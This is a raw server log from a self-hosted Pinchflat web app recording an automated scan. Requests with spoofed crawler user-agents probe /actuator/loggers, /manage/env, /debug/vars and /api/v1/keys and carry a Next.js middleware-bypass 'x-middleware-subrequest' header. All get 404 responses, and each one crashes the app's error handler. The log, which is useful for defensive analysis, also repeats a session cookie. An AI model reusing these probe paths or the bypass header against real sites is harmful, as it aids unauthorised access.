"https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29871.0>, params: %{}, path_info: ["actuator", "loggers"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/actuator/loggers", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61loE6qAfY-kABwnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29870.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/loggers", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34818}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/loggers (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29870.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/loggers", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34818}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: (truncated) 16:49:10.346 [info] GET /manage/env 16:49:10.346 [debug] QUERY OK source="settings" db=0.0ms idle=39.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.347 [debug] QUERY OK source="settings" db=0.1ms idle=37.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.347 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.347 [error] #PID<0.29873.0> running PinchflatWeb.Endpoint (connection #PID<0.29872.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /manage/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29872.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34824}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29873.0>, params: %{}, path_info: ["manage", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/manage/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ls1n2eBGZ8ABwnh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29872.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34824}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29872.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34824}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns (truncated) 16:49:10.463 [info] GET /debug/vars 16:49:10.463 [debug] QUERY OK source="settings" db=0.2ms idle=153.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.463 [debug] QUERY OK source="settings" db=0.1ms idle=136.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.463 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.464 [error] #PID<0.29875.0> running PinchflatWeb.Endpoint (connection #PID<0.29874.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /debug/vars ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/vars (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29874.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/vars", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34840}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29875.0>, params: %{}, path_info: ["debug", "vars"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/debug/vars", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61mIlAbDVnI0ABwoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29874.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/vars", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34840}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/vars (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29874.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/vars", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34840}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, (truncated) 16:49:10.475 [info] GET /api/v1/keys 16:49:10.475 [debug] QUERY OK source="settings" db=0.1ms idle=148.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.476 [debug] QUERY OK source="settings" db=0.0ms idle=128.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.476 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.476 [error] #PID<0.29877.0> running PinchflatWeb.Endpoint (connection #PID<0.29876.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/v1/keys ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29876.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/keys", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29877.0>, params: %{}, path_info: ["api", "v1", "keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/v1/keys", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61mLinWlO6dgABwoh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29876.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/keys", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => 